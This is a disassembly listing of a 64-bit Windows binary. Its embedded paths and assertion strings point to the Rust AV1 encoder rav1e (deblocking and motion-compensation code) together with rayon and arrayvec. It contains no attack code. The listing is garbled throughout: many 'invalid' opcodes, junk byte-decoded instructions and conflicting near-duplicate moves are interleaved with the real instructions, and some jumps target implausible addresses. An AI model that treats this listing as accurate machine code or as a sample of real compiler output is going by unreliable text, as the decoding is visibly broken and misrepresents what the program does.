lea r14, [r12 + 1]
mov r9, r13
sub r9, 0x5a
mov eax, 1
cmovae r14, rax
add r14, rcx
cmp r12, rdx
cmovb rdx, r12
invalid
invalid
mov rcx, qword [rsp + 0x90]
lea rsi, [rcx + 1]
cmp r13, 0xb5
std
mov ch, 0
add byte [rax], al
cmovb rsi, rax
add rsi, rdx
mov rcx, qword [rsp + 0x90]
nop
add byte [rax], al
add byte [rcx + rcx*4 - 0x1e], cl
mov r8d, ebx
call fcn.1400733aa
push rax
invalid
invalid
dec dword [rcx + rcx*4 - 0xf]
mov ecx, esi
invalid
invalid
mov ah, 0x24
nop
add byte [rax], al
mov rax, qword [rsp + 0x70]
cmp rcx, rax
je 0x140084502
cmp rcx, r15
je 0x140084835
adc dword [rax], eax
invalid
lea rax, [rcx + 1]
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x68]
mov rbx, qword [rax]
imul rbx, rcx
add rbx, qword [rsp + 0x80]
add ebx, dword [rsp + 0x80]
add byte [rax], al
add byte [rax - 9], cl
ror dword [rax + 3], 1
and al, 0x70
xor eax, eax
cmp qword [rsp + 0x90], rax
je 0x14008376d
add byte [rax], al
invalid
cmp rcx, rdi
jae 0x1400845a2
invalid
invalid
add byte [rax], al
cmp qword [rsp + 0x60], rax
je 0x1400845ae
mov bpl, byte [r14 + rcx]
movzx r9d, bpl
mov r10, qword [rsp + 0x88]
mov edx, dword [rsp + 0x88]
movzx r12d, byte [r10 + rax]
mov r10d, r9d
sub r10d, esi
sub edx, esi
lea r11d, [r10 + r12]
mov r13d, r11d
sub r13d, r9d
mov r9d, r13d
jmp 0x185e22e56
cmovs ecx, ebp
mov r13d, r10d
neg r13d
cmovs r13d, r10d
sub r11d, esi
mov r10d, r11d
mov edx, ebx
neg r10d
cmovs r10d, r11d
cmp r9d, r13d
cmp ecx, ebp
ja 0x140083743
cmp r9d, r10d
ja 0x140083743
cmp rax, rdx
jb 0x140083761
jmp 0x14008467e
cmp r13d, r10d
jbe 0x140083755
mov ebp, r8d
cmp rax, rdx
jb 0x140083761
jmp 0x140084703
mov ebp, r12d
cmp rax, rdx
jae 0x1400846fa
mov byte [rbx + rax], bpl
inc rax
inc eax
jmp 0x1400836c7
mov rcx, qword [rsp + 0x98]
jmp 0x140083686
add rsp, 0x358
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, [0x140247eb8]
jmp 0x1400846d1
lea r8, [0x140247ed0]
jmp 0x140084635
mov rcx, qword [rsp + 0x60]
mov rdx, rcx
call fcn.1401c6eb0
lea r8, [0x140248308]
mov rcx, r10
jmp 0x1400846d1
lea r8, [0x140247f18]
jmp 0x140084713
mov rdx, rdi
call fcn.1401c6eb0
lea r8, [0x14025e3b0]
mov rcx, rbx
mov rdx, rbx
call fcn.1401c6eb0
lea r8, [0x14025e3c8]
mov rcx, rsi
call fcn.1401c6eb0
lea r8, [0x140247f00]
jmp 0x140084713
lea r8, [0x140247ee8]
jmp 0x140084713
mov rcx, rax
call fcn.1401c6eb0
lea r8, [0x140248928]
xor ecx, ecx
xor edx, edx
call fcn.1401c6eb0
lea r8, [0x1402487d8]
jmp 0x140084722
lea rcx, [0x14023c72b]
lea r8, [0x140247ea0]
jmp 0x140084873
mov edx, 0x2a
call fcn.1401c6f30
lea rax, [0x140248880]
jmp 0x14008488d
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, fcn.140009390
lea r8, [rsp + 0x138]
mov edx, 0x2b
call fcn.1401c7200
lea rcx, str.assertion_failed:__scale___sm_weights_width___1__as_u16____scale
lea r8, [0x140248438]
mov edx, 0x40
call fcn.1401c6f30
lea rcx, str.assertion_failed:__scale___sm_weights_height___1__as_u16____scale
lea r8, [0x140248558]
mov edx, 0x41
call fcn.1401c6f30
lea rcx, str.assertion_failed:__scale___sm_weights_w_width___1__as_u16____scale
lea r8, [0x140248248]
mov edx, 0x42
call fcn.1401c6f30
lea rcx, str.assertion_failed:__scale___sm_weights_h_height___1__as_u16____scale
lea r8, [0x1402482c0]
mov edx, 0x43
call fcn.1401c6f30
lea r8, [0x140248ad8]
mov rdx, rdi
call fcn.1401c6f20
int3
lea rcx, str.assertion_failed:_output.plane_cfg.stride___width
lea r8, [0x1402486f8]
mov edx, 0x32
call fcn.1401c6f30
lea rcx, str.assertion_failed:_output.rows_iter__.len_____height
lea r8, [0x140248748]
mov edx, 0x34
call fcn.1401c6f30
lea rcx, [0x14023c72b]
lea r8, [0x140248760]
mov edx, 0x2a
call fcn.1401c6f30
int3
lea r8, [0x140247f78]
mov rdx, qword [rsp + 0x28]
call fcn.1401c6eb0
add ah, cl
mov r8, qword [rsp + 0x1b0]
mov cl, byte [r13 + 0x1a]
mov rdx, rsi
call fcn.140086baf
jmp 0x140085a17
mov rbx, r14
mov ecx, esi
shr rbx, cl
mov ecx, eax
call fcn.140087f32
add byte [rax], al
dec rax
test rax, rbx
je 0x140085a42
add rsp, 0x128
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rsp + 0x190]
mov rsi, qword [rax]
mov rbx, qword [rax + 8]
mov rcx, rdi
mov rdx, r14
mov r8, r15
mov r9, rsi
call fcn.140087fa9
and eax, 0x89480000
add byte [rax], al
mov rbp, rax
movzx eax, byte [r13 + 0x16]
dec rax
dec eax
test rax, r14
sete byte [rsp + 0x28]
mov byte [rsp + 0x20], 1
mov rcx, r13
mov rdx, rbp
mov r8, rsi
mov r9, qword [rsp + 0x198]
call fcn.140086c0e
test rax, rax
je 0x140085a2e
mov rdi, rax
mov byte [rsp + 0x20], 1
and al, 0x20
add dword [rcx + rcx*4 - 0x1f], ecx
mov rdx, r13
mov r8, rbp
mov r9, qword [rsp + 0x198]
add byte [rax], al
call fcn.140086cf5
test rax, rax
je 0x140085a2e
jb 0x140085ab9
invalid
invalid
mov rbp, rax
mov r8, qword [rsi + 0x20]
mov r9, qword [rsi + 0x28]
mov rcx, r14
mov rdx, r15
call fcn.14007df20
test dil, r15b
dec dword [rax - 0x77]
stc
shr rcx, 1
sub rax, rcx
mov r8, qword [rsp + 0x190]
js 0x1400861ee
cmp rax, qword [r8 + 0x20]
ja 0x1400861ee
test rdx, rdx
js 0x140086206
cmp rdx, qword [r8 + 0x28]
ja 0x140086206
mov rcx, qword [rsi]
imul rcx, rdx
retf 0x148
ret
add rbx, rcx
add rax, qword [r8 + 0x10]
add eax, dword [rax + 0x10]
adc byte [rcx + 3], cl
push rax
sbb byte [rax - 0x77], cl
pushfq
and al, 0
add dword [rax], eax
add byte [rax - 0x77], cl
mov ah, 0x24
clc
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rcx], ah
add dword [rax], eax
add byte [rax - 0x77], cl
mov dword [rsp + 0x110], edx
mov qword [rsp + 0x118], rdi
mov dword [rsp + 0x118], edi
add dword [rax], eax
add byte [rax - 0x39], cl
test byte [rax + riz], ah
add dword [rax], eax
add byte [rax + rax], al
add byte [rax], al
lea rax, [rdi - 4]
ror rax, 1
cmp rax, 5
ja case.default.0x140085b76
invalid
add byte [rax], al
mov r14, qword [rsp + 0x1a0]
lea rcx, [0x14028bfc0]
push rcx
and byte fs:[rax], al
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
xor r15d, r15d
lea r12, [rsp + 0x30]
lea r13, [rsp + 0x70]
cmp r15, 4
je 0x140085a2e
cmp rdi, 1
je 0x140086001
cmp rdi, 2
jbe 0x14008600d
cmp rdi, 3
je 0x140086019
mov rax, qword [rsi]
imul rax, r15
movzx ecx, byte [rbx + rax]
movzx edx, byte [rbx + rax + 1]
movzx r8d, byte [rbx + rax + 2]
movzx eax, byte [rbx + rax + 3]
mov dword [rsp + 0x70], ecx
mov dword [rsp + 0x74], edx
mov dword [rsp + 0x78], r8d
mov dword [rsp + 0x7c], eax
mov rcx, r12
loope 0x140085c29
mov edx, ebp
mov r8, rbp
call 0x128f9e533
sbb byte [rdx], ah
add byte [rax], al
cmp dword [rsp + 0x30], 0
je 0x140085c24
lea rax, [rsp + 0x34]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0x20], 4
lea rcx, [rsp + 0xf8]
add byte [rcx], dh
ror byte [rbp - 0x77], cl
clc
lea r9, [rsp + 0xc0]
call fcn.14008801a
inc r15
jmp case.0x140047a7d.231
invalid
xor r15d, r15d
lea r13, [rsp + 0x30]
cmp r15, 4
je 0x140085a2e
cmp rdi, 1
je 0x140086061
add al, 0
invalid
cmp rdi, 2
jbe 0x14008606a
cmp rdi, 3
je case.0x140041933.369
cmp rdi, 4
jbe 0x14008607c
cmp rdi, 5
je 0x140086085
cmp rdi, 6
jbe 0x140086091
invalid
add al, 0
invalid
cmp rdi, 7
invalid
test byte [rcx], bl
add al, 0
lea rcx, [0x140241cf6]
lea r8, [0x140241d98]
mov edx, 0x43
call fcn.1401c6f30
lea rcx, [0x140241d39]
lea r8, str.e__
add byte [rdx + 0x44], bh
call fcn.1401c6f30
lea rcx, str.internal_error:_entered_unreachable_codeC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rayon_core_1.12.1_srcjob.rs
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
mov edx, 0x28
call fcn.1401c6f30
or al, 0x14
add ah, cl
add rsp, 0x128
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
cmp r15, 4
je 0x1400862cb
invalid
cmp rdi, 1
je 0x14008694d
cmp rdi, 2
jbe 0x140086973
cmp rdi, 3
je 0x140086960
movzx eax, byte [rbx + r15]
mov rcx, qword [rsi]
lea rdx, [rbx + rcx]
movzx edx, byte [r15 + rdx]
lea r8, [rbx + rcx*2]
movzx r8d, byte [r15 + r8]
lea rcx, [rcx + rcx*2]
add rcx, rbx
movzx ecx, byte [r15 + rcx]
mov dword [rsp + 0x80], eax
add byte [rax], 0
add byte [rax], al
add byte [rcx + 0x842494], cl
add byte [rax], al
mov dword [rsp + 0x88], r8d
mov dword [rsp + 0x8c], ecx
and al, 0x8c
add byte [rax], al
add byte [rcx + rcx*4 - 0x1f], cl
mov rdx, r13
invalid
mov r8, rbp
mov r9, qword [rsp + 0x1a0]
call fcn.140087e02
cmp dword [rsp + 0x38], 0
je 0x1400864dd
movups xmm0, xmmword [r14]
movaps xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0x20], 4
lea rcx, [rsp + 0xf8]
mov rdx, r15
xor r8d, r8d
lea r9, [rsp + 0xc0]
call fcn.140087161
inc r15
jmp 0x140086425
cmp r15, 4
je 0x1400862cb
cmp rdi, 1
je 0x140086ad6
cmp rdi, 2
jbe 0x140086a6a
xchg byte [rsi], dl
add al, 0
invalid
cmp rdi, 3
je 0x140086af6
cmp rdi, 4
jbe 0x140086b26
cmp rdi, 5
je 0x140086b16
cmp rdi, 6
jbe 0x140086b06
cmp rdi, 7
je 0x140086b36
cmp rdi, 8
jbe 0x140086ae6
cmp rdi, 9
je 0x140086a7d
cmp rdi, 0xa
jbe 0x140086ac6
cmp rdi, 0xb
je 0x140086a90
cmp rdi, 0xc
jbe 0x140086ab6
cmp rdi, 0xd
je 0x140086aa3
movzx eax, byte [rbx + r15]
mov dword [rsp + 0x70], eax
mov r8, qword [rsi]
lea rcx, [rbx + r8]
movzx eax, byte [r15 + rcx]
mov dword [rsp + 0x7c], eax
lea rdx, [rbx + r8*2]
movzx eax, byte [r15 + rdx]
mov dword [rsp + 0x78], eax
lea r9, [r8 + r8*2]
add r9, rbx
movzx r9d, byte [r15 + r9]
lea r10, [rbx + r8*4]
movzx r10d, byte [r15 + r10]
mov dh, 0x14
invalid
lea r11, [r8 + r8*4]
add r11, rbx
movzx r11d, byte [r15 + r11]
imul r12, r8, 6
add r12, rbx
fadd qword [rdi + 0xf]
mov dh, 0x24
invalid
imul r13, r8, 7
add r13, rbx
movzx r13d, byte [r15 + r13]
lea r14, [rbx + r8*8]
movzx r14d, byte [r15 + r14]
lea rbp, [r8 + r8*8]
add rbp, rbx
add ebp, ebx
movzx ebp, byte [r15 + rbp]
imul rsi, r8, 0xa
add rsi, rbx
movzx esi, byte [r15 + rsi]
imul rax, r8, 0xb
add rax, rbx
movzx eax, byte [r15 + rax]
imul rcx, r8, 0xc
add rcx, rbx
movzx ecx, byte [r15 + rcx]
imul r8, r8, 0xd
add r8, rbx
movzx r8d, byte [r15 + r8]
mov edx, dword [rsp + 0x70]
push rsp
and al, 0x70
mov dword [rsp + 0x38], edx
mov edx, dword [rsp + 0x7c]
mov dword [rsp + 0x3c], edx
mov edx, dword [rsp + 0x78]
mov dword [rsp + 0x40], edx
mov dword [rsp + 0x44], r9d
mov dword [rsp + 0x48], r10d
and al, 0x48
mov dword [rsp + 0x4c], r11d
mov dword [rsp + 0x50], r12d
mov dword [rsp + 0x54], r13d
mov dword [rsp + 0x58], r14d
mov dword [rsp + 0x5c], ebp
mov dword [rsp + 0x60], esi
mov dword [rsp + 0x64], eax
and al, 0x64
mov dword [rsp + 0x68], ecx
mov dword [rsp + 0x6c], r8d
lea rcx, [rsp + 0xc0]
lea rdx, [rsp + 0x38]
mov r8, qword [rsp + 0xb0]
mov r9, qword [rsp + 0x1a0]
call fcn.140086d3f
cmp dword [rsp + 0xc0], 0
je 0x14008682f
lea rax, [rsp + 0xc4]
movups xmm0, xmmword [rax]
adc byte [rax], al
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
and byte [rdi], cl
sub dword [rsp + 0xa0], edx
movaps xmmword [rsp + 0x90], xmm1
movaps xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x20], 0xc
mov r8d, 1
lea rcx, [rsp + 0xf8]
mov rdx, r15
lea r9, [rsp + 0x80]
call fcn.140087161
inc r15
mov rsi, qword [rsp + 0xb8]
jmp 0x140086636
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x140086b44
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
add eax, 0x1bfb35
jmp 0x140086b44
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x140086b44
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x140086b44
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
lea eax, [0x140246608]
jmp 0x140086b44
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x140086b44
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x140086b44
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x140086b44
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x140086b44
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x140086b44
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x140086b44
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x140086b44
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
mov edx, 0x2a
call fcn.1401c6f30
lea rcx, str.assertion_failed:_index___self.rowsassertion_failed:_index___self.rect.heightC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_arrayvec_0.7.4_src_arrayvec.rsC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcec.rsC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_src_tiling_tiler.rs
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
mov edx, 0x23
call fcn.1401c6f30
lea rcx, [0x140241cf6]
lea r8, [0x140241d98]
mov edx, 0x43
call fcn.1401c6f30
lea rcx, [0x140241d39]
lea r8, str.e__
mov edx, 0x44
call fcn.1401c6f30
lea rcx, str.internal_error:_entered_unreachable_codeC:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rayon_core_1.12.1_srcjob.rs
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
mov edx, 0x28
call fcn.1401c6f30
int3
lea rcx, [0x14023c72b]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcmc.rsassertion_failed:_width.is_power_of_two_____2..128_.contains_width_8
jmp 0x14008af25
mov edx, 0x2a
call fcn.1401c6f30
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcmc.rsassertion_failed:_width.is_power_of_two_____2..128_.contains_width_8
mov rcx, r15
mov rdx, r13
call fcn.1401c6f20
lea rcx, str.assertion_failed:__self.is_intra__
lea r8, [0x140247dc8]
mov edx, 0x22
call fcn.1401c6f30
lea r9, [rsp + 0x108]
and qword [r9], 0
lea rax, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcmc.rsassertion_failed:_width.is_power_of_two_____2..128_.contains_width_8
mov qword [rsp + 0x20], rax
lea r8, [0x14023da70]
lea rdx, [rsp + 0xb0]
and al, 0xb0
add byte [rax], al
add byte [rcx], dh
leave
call fcn.1401c6b08
lea rcx, [0x14023e891]
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcmc.rsassertion_failed:_width.is_power_of_two_____2..128_.contains_width_8
mov edx, 0x47
call fcn.1401c6f30
int3
mov al, byte [r13 + 0x1b]
mov rbp, r14
mov ecx, esi
shr rbp, cl
mov ecx, eax
call fcn.140087f32
dec rax
test rax, rbp
je 0x14008b69b
add rsp, 0x128
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rsp + 0x190]
mov rsi, qword [rax]
mov rax, qword [rax + 8]
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x70], eax
and al, 0x70
mov rcx, rdi
mov rdx, r14
mov r8, r15
mov r9, rsi
call fcn.140087fa9
mov rbp, rax
movzx eax, byte [r13 + 0x16]
dec rax
test rax, r14
sete byte [rsp + 0x28]
mov byte [rsp + 0x20], 1
and byte [rcx], al
mov rcx, r13
mov rdx, rbp
mov edx, ebp
mov r8, rsi
mov r9, r12
loope 0x14008b6cd
and eax, 0x48ffffb5
test eax, eax
je 0x14008b687
mov rdi, rax
mov byte [rsp + 0x20], 1
mov rcx, rbx
mov rdx, r13
mov r8, rbp
mov r9, r12
call fcn.140086cf5
test rax, rax
je 0x14008b687
mov rbx, rax
mov r8, qword [rsi + 0x20]
mov r9, qword [rsi + 0x28]
mov ecx, dword [rsi + 0x28]
mov rcx, r14
mov rdx, r15
call fcn.14007df20
mov rcx, rdi
shr rcx, 1
sub rax, rcx
mov r8, qword [rsp + 0x190]
js 0x14008be68
cmp rax, qword [r8 + 0x20]
ja 0x14008be68
test rdx, rdx
js 0x14008be80
invalid
cmp rdx, qword [r8 + 0x28]
ja 0x14008be80
mov rcx, qword [rsi]
imul rcx, rdx
imul ecx, edx
retf 0x8b4c
and al, 0x70
lea rcx, [r9 + rcx*2]
or al, 0x49
lea rbp, [rcx + rax*2]
lea ebp, [rcx + rax*2]
add rax, qword [r8 + 0x10]
add eax, dword [rax + 0x10]
add rdx, qword [r8 + 0x18]
mov qword [rsp + 0x100], rbp
add byte [rax - 0x77], cl
mov ah, 0x24
clc
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rcx], ah
add dword [rax], eax
add byte [rax - 0x77], cl
mov qword [rsp + 0x110], rdx
mov qword [rsp + 0x118], rdi
mov qword [rsp + 0x120], 4
test byte [rax + riz], ah
add dword [rax], eax
add byte [rax + rax], al
add byte [rax], al
add byte [rax - 0x73], cl
cld
cld
ror rax, 1
cmp rax, 5
ja case.default.0x14008b7d1
mov r14, qword [rsp + 0x1a0]
lea rcx, [0x14028bff0]
and byte [rax], al
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
xor r15d, r15d
lea r12, [rsp + 0x38]
lea r13, [rsp + 0x80]
cmp r15, 4
je 0x14008b687
cmp rdi, 1
je 0x14008bc7b
cmp rdi, 2
jbe 0x14008bc87
cmp rdi, 3
je 0x14008bc93
mov rax, qword [rsi]
imul rax, r15
movzx ecx, word [rbp + rax*2]
movzx edx, word [rbp + rax*2 + 2]
movzx r8d, word [rbp + rax*2 + 4]
movzx eax, word [rbp + rax*2 + 6]
mov dword [rsp + 0x80], ecx
mov dword [rsp + 0x84], edx
xchg esp, eax
and al, 0x84
add byte [rax], al
add byte [rcx + rcx*4 - 0x7c], al
and al, 0x88
add byte [rax], al
add byte [rcx + 0x8c2484], cl
add byte [rax], al
mov rcx, r12
mov rdx, r13
mov r8, rbx
mov r9, r14
call fcn.140087e02
cmp dword [rsp + 0x38], 0
je 0x14008b88f
lea rax, [rsp + 0x3c]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0x20], 4
mov dword [rsp + 0x20], 4
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rdi*8], fs
add byte [rax], al
add byte [rcx], dh
ror byte [rbp - 0x77], cl
clc
lea r9, [rsp + 0xc0]
add byte [rax], al
call fcn.14008c981
add byte [rax], al
inc r15
jmp 0x14008b7e3
xor r15d, r15d
lea r13, [rsp + 0x38]
cmp r15, 4
je 0x14008b687
cmp rdi, 1
je 0x14008bcdb
add al, 0
invalid
cmp rdi, 2
jbe 0x14008bce4
cmp rdi, 3
je 0x14008bced
add byte [rax], al
cmp rdi, 4
jbe 0x14008bcf6
invalid
cmp rdi, 5
je 0x14008bcff
cmp rdi, 6
jbe 0x14008bd0b
cmp rdi, 7
je 0x14008bd17
mov rax, qword [rsi]
imul rax, r15
scasd eax, dword [rdi]
invalid
movzx ecx, word [rbp + rax*2]
add byte [rdi], cl
mov bh, 0x54
add r8b, byte [r15 + rcx - 0x49]
add al, 0x44
movzx ecx, word [rbp + rax*2 + 6]
movzx r10d, word [rbp + rax*2 + 8]
movzx r11d, word [rbp + rax*2 + 0xa]
mov bh, 0x5c
or r8b, byte [r15 + rcx - 0x49]
or al, 0xf
mov bh, 0x44
invalid
invalid
mov dword [rsp + 0x38], ecx
mov dword [rsp + 0x3c], edx
mov dword [rsp + 0x40], r8d
mov dword [rsp + 0x44], r9d
mov dword [rsp + 0x48], r10d
mov dword [rsp + 0x4c], r11d
mov dword [rsp + 0x50], r12d
and al, 0x50
mov dword [rsp + 0x54], eax
lea rcx, [rsp + 0xc0]
add byte [rax], al
add byte [rcx + rcx*4 - 0x16], cl
mov r8, rbx
mov r9, r14
int1
call fcn.140087935
cmp dword [rsp + 0xc0], 0
je 0x14008b9ad
lea rcx, [rsp + 0xc4]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0x90], rax
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x20], 6
mov dword [rsp + 0x20], 6
mov edx, 1
lea rcx, [rsp + 0xf8]
lea ecx, [rsp + 0xf8]
mov r8, r15
lea r9, [rsp + 0x80]
call fcn.14008c981
inc r15
jmp 0x14008b89f
xor r14d, r14d
mov qword [rsp + 0xb8], rsi
mov qword [rsp + 0xb0], rbx
add byte [rax], al
cmp r14, 4
je 0x14008b687
cmp rdi, 1
je 0x14008bd32
cmp rdi, 2
jbe 0x14008bd48
add byte [rax], al
cmp rdi, 3
je 0x14008bd5e
cmp rdi, 4
jbe 0x14008bd74
cmp rdi, 5
je 0x14008bd8a
cmp rdi, 6
jbe 0x14008bda0
cmp rdi, 7
je 0x14008bdb6
cmp rdi, 8
jbe 0x14008bdcc
cmp rdi, 9
je 0x14008bde2
cmp rdi, 0xa
jbe 0x14008bdf8
cmp rdi, 0xb
je 0x14008be0e
cmp rdi, 0xc
jbe 0x14008be24
add byte [rax], al
cmp rdi, 0xd
je 0x14008be3a
mov rax, qword [rsi]
imul rax, r14
movzx ecx, word [rbp + rax*2]
mov dword [rsp + 0x78], ecx
movzx edx, word [rbp + rax*2 + 2]
add al, byte [rdi + rcx - 0x49]
add al, 0x44
movzx ecx, word [rbp + rax*2 + 6]
movzx r10d, word [rbp + rax*2 + 8]
movzx r11d, word [rbp + rax*2 + 0xa]
movzx r12d, word [rbp + rax*2 + 0xc]
movzx esp, word [rbp + rax*2 + 0xc]
movzx r13d, word [rbp + rax*2 + 0xe]
mov qword [rsp + 0x70], r14
and al, 0x70
movzx r14d, word [rbp + rax*2 + 0x10]
movzx ebx, word [rbp + rax*2 + 0x12]
movzx esi, word [rbp + rax*2 + 0x14]
adc al, 0x44
movzx edi, word [rbp + rax*2 + 0x16]
movzx ecx, word [rbp + rax*2 + 0x18]
mov dword [rsp + 0x7c], ecx
movzx eax, word [rbp + rax*2 + 0x1a]
mov bh, 0x44
sbb r9b, byte [r11 - 0x7687dbb4]
and al, 0x38
mov dword [rsp + 0x3c], edx
mov dword [rsp + 0x40], r8d
mov dword [rsp + 0x44], r9d
mov dword [rsp + 0x48], r10d
mov dword [rsp + 0x4c], r11d
mov dword [rsp + 0x50], r12d
mov dword [rsp + 0x54], r13d
mov dword [rsp + 0x58], r14d
mov r14, qword [rsp + 0x70]
mov r9, qword [rsp + 0x1a0]
mov dword [rsp + 0x5c], ebx
mov r8, qword [rsp + 0xb0]
mov dword [rsp + 0x60], esi
mov dword [rsp + 0x64], r15d
mov ecx, dword [rsp + 0x7c]
mov dword [rsp + 0x68], ecx
mov dword [rsp + 0x6c], eax
lea rcx, [rsp + 0xc0]
lea rdx, [rsp + 0x38]
call fcn.140086d3f
cmp dword [rsp + 0xc0], 0
rol byte [rax], 0
add byte [rax], al
invalid
je 0x14008bb80
lea rax, [rsp + 0xc4]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movaps xmmword [rsp + 0xa0], xmm2
movaps xmmword [rsp + 0x90], xmm1
movaps xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x20], 0xc
mov edx, 1
add byte [rax], al
lea rcx, [rsp + 0xf8]
mov r8, r14
lea r9, [rsp + 0x80]
and al, 0x80
add byte [rax], al
add al, ch
add dword [rsi], ecx
add byte [rax], al
inc r14
mov rsi, qword [rsp + 0xb8]
and al, 0xb8
add byte [rax], al
add cl, ch
cmp dh, bh
invalid
invalid
xor r15d, r15d
lea r12, [rsp + 0xc0]
and al, 0xc0
add byte [rax], al
add byte [rbp + rcx*4 + 0x6c], cl
and al, 0x38
cmp r15, 4
je 0x14008b687
cmp rdi, 1
je 0x14008bc9f
cmp rdi, 2
jbe 0x14008bcab
in eax, dx
add byte [rax], al
invalid
cmp rdi, 3
je 0x14008bcb7
add byte [rax], al
cmp rdi, 4
jbe 0x14008bcc3
cmp rdi, 5
je 0x14008bccf
mov rax, qword [rsi]
imul rax, r15
scasd eax, dword [rdi]
invalid
movzx ecx, word [rbp + rax*2]
movzx edx, word [rbp + rax*2 + 2]
movzx r8d, word [rbp + rax*2 + 4]
movzx r9d, word [rbp + rax*2 + 6]
movzx r10d, word [rbp + rax*2 + 8]
movzx eax, word [rbp + rax*2 + 0xa]
mov dword [rsp + 0x38], ecx
mov dword [rsp + 0x3c], edx
mov dword [rsp + 0x40], r8d
and al, 0x40
mov dword [rsp + 0x44], r9d
mov dword [rsp + 0x48], r10d
mov dword [rsp + 0x4c], eax
mov rcx, r12
mov rdx, r13
mov r8, rbx
mov r9, r14
call fcn.140087b87
cmp dword [rsp + 0xc0], 0
je 0x14008bc73
lea rax, [rsp + 0xc4]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x80], xmm0
add byte [rax], al
add byte [rax - 0x39], cl
and al, 0x20
add al, 0
add byte [rax], al
mov edx, 1
lea rcx, [rsp + 0xf8]
add byte [rax], al
add byte [rbp - 0x77], cl
clc
lea r9, [rsp + 0x80]
call fcn.14008c981
invalid
inc r15
jmp 0x14008bba0
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x14008bd39
lea r8, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcdeblock.rs
jmp 0x14008bd4f
add byte [rax], al
invalid
